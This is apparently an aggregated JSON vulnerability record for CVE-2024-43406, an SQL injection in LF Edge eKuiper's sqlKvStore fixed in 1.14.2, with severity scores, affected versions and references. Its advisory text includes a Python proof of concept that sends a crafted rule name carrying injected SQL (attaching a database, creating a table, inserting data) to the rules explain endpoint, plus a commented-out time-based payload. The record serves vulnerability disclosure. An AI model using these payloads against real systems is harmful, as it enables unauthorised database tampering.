{"id":"CVE-2024-43406","aliases":["CVE-2024-43406","GHSA-r5ph-4jxm-6j9p","GO-2024-3078","PYSEC-2024-72"],"related":[],"kind":"vulnerability","state":"published","title":"LF Edge eKuiper has a SQL Injection in sqlKvStore","summary":"LF Edge eKuiper is a lightweight IoT data analytics and stream processing engine running on resource-constraint edge devices. A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore. This vulnerability is fixed in 1.14.2.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"LF Edge eKuiper is a lightweight IoT data analytics and stream processing engine running on resource-constraint edge devices. A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore. This vulnerability is fixed in 1.14.2.","source":"cvelist"},{"lang":"en","text":"### Summary\nA user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore. \n\n### Details\nI will use explainRuleHandler (\"/rules/{name}/explain\") as an example to illustrate. However, this vulnerability also exists in other methods such as sourceManageHandler, asyncTaskCancelHandler, pluginHandler, etc.\n\nThe SQL injection can happen in the code:\nhttps://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L89-L93\nThe code to accept user input is:\nhttps://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/server/rest.go#L274-L277\n\nThe rule id in the above code can be used to exploit SQL query.\n\nNote that the delete function is also vulnerable:\nhttps://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L138-L141\n\n### PoC\n```\nimport requests\nfrom urllib.parse import quote\n\n# SELECT val FROM 'xxx' WHERE key='%s';\npayload = f\"\"\"'; ATTACH DATABASE 'test93' AS test93;\nCREATE TABLE test93.pwn (dataz text);\nINSERT INTO test93.pwn (dataz) VALUES (\"sql injection\");--\"\"\"\n\n#payload = \"deadbeef'; SELECT 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000))));--\"\n\nurl = f\"http://127.0.0.1:9081/rules/{quote(payload,safe='')}/explain\"   # explainRuleHandler\n\nres = requests.get(url)\nprint(res.content)\n```\n\nThe screenshot shows the malicious SQL query to insert a value:\n![image](https://github.com/user-attachments/assets/baf035cc-a561-4909-8d1f-e455e75375cb)\n\nThe screenshot shows the breakpoint of executing the query:\n![image](https://github.com/user-attachments/assets/b9c29945-a0cc-4271-bdc8-c1bddfda5b6f)\n\n\n\n\n### Impact\nSQL Injection vulnerability\n\nThe reporters are Yuan Luo, Shuai Xiong, Haoyu Wang from Tencent YunDing Security Lab.","format":"markdown","source":"ghsa"},{"lang":"en","text":"LF Edge eKuiper has a SQL Injection in sqlKvStore in github.com/lf-edge/ekuiper","format":"markdown","source":"go"},{"lang":"es","text":"LF Edge eKuiper es un motor liviano de procesamiento de flujo y análisis de datos de IoT que se ejecuta en dispositivos de borde con limitaciones de recursos. Un usuario podría utilizar y explotar la inyección SQL para permitir la ejecución de consultas SQL maliciosas a través del método Get en sqlKvStore. Esta vulnerabilidad se solucionó en 1.14.2.","source":"nvd"}],"published":"2024-08-20T15:00:06.571Z","modified":"2026-09-10T03:50:55.394Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"}],"cwes":["CWE-89"],"affected":[{"ranges":[{"version":"< 1.14.2","status":"affected"}],"vendor":"lf-edge","product":"ekuiper","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","fixed":"1.14.2","status":"affected"}],"vendor":"lfedge","product":"ekuiper","cpe":"cpe:2.3:a:lfedge:ekuiper:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.14.2"}],"ecosystem":"Go","package":"github.com/lf-edge/ekuiper","purl":"pkg:golang/github.com/lf-edge/ekuiper","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.14.2"}],"ecosystem":"PyPI","package":"ekuiper","purl":"pkg:pypi/ekuiper","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.14.2"}],"ecosystem":"Go","package":"github.com/lf-edge/ekuiper","purl":"pkg:golang/github.com/lf-edge/ekuiper","source":"go"},{"ranges":[{"status":"affected","fixed":"1.14.2"}],"vendor":"lfedge","product":"ekuiper","cpe":"cpe:2.3:a:lfedge:ekuiper:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"git","introduced":"0","status":"affected","fixed":"1a9c745649438feaac357d282959687012b65503"},{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.14.2"}],"ecosystem":"PyPI","package":"ekuiper","purl":"pkg:pypi/ekuiper","repo":"https://github.com/lf-edge/ekuiper","source":"pysec"}],"references":[{"url":"https://github.com/lf-edge/ekuiper/security/advisories/GHSA-r5ph-4jxm-6j9p","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd","pysec"]},{"url":"https://github.com/lf-edge/ekuiper/commit/1a9c745649438feaac357d282959687012b65503","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-43406","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/lf-edge/ekuiper","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/ekuiper/PYSEC-2024-72.yaml","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2024-08-20T17:39:48.544Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-43406","url":"https://www.cve.org/CVERecord?id=CVE-2024-43406","licence":"CVE Terms of Use","modified":"2024-08-20T17:42:14.854Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-r5ph-4jxm-6j9p","url":"https://github.com/advisories/GHSA-r5ph-4jxm-6j9p","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:55.394Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2024-3078","url":"https://pkg.go.dev/vuln/GO-2024-3078","licence":"CC-BY-4.0","modified":"2026-03-03T04:55:43.900Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-43406","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-43406","licence":"Public domain","modified":"2026-06-17T07:50:59.123Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2024-72","url":"https://osv.dev/vulnerability/PYSEC-2024-72","licence":"CC-BY-4.0","modified":"2025-10-09T08:27:50.191Z"}],"updatedAt":"2026-11-25T22:58:44.591Z","epss":{"score":0.00894,"percentile":0.60553,"date":"2026-12-01T12:00:22.000Z"}}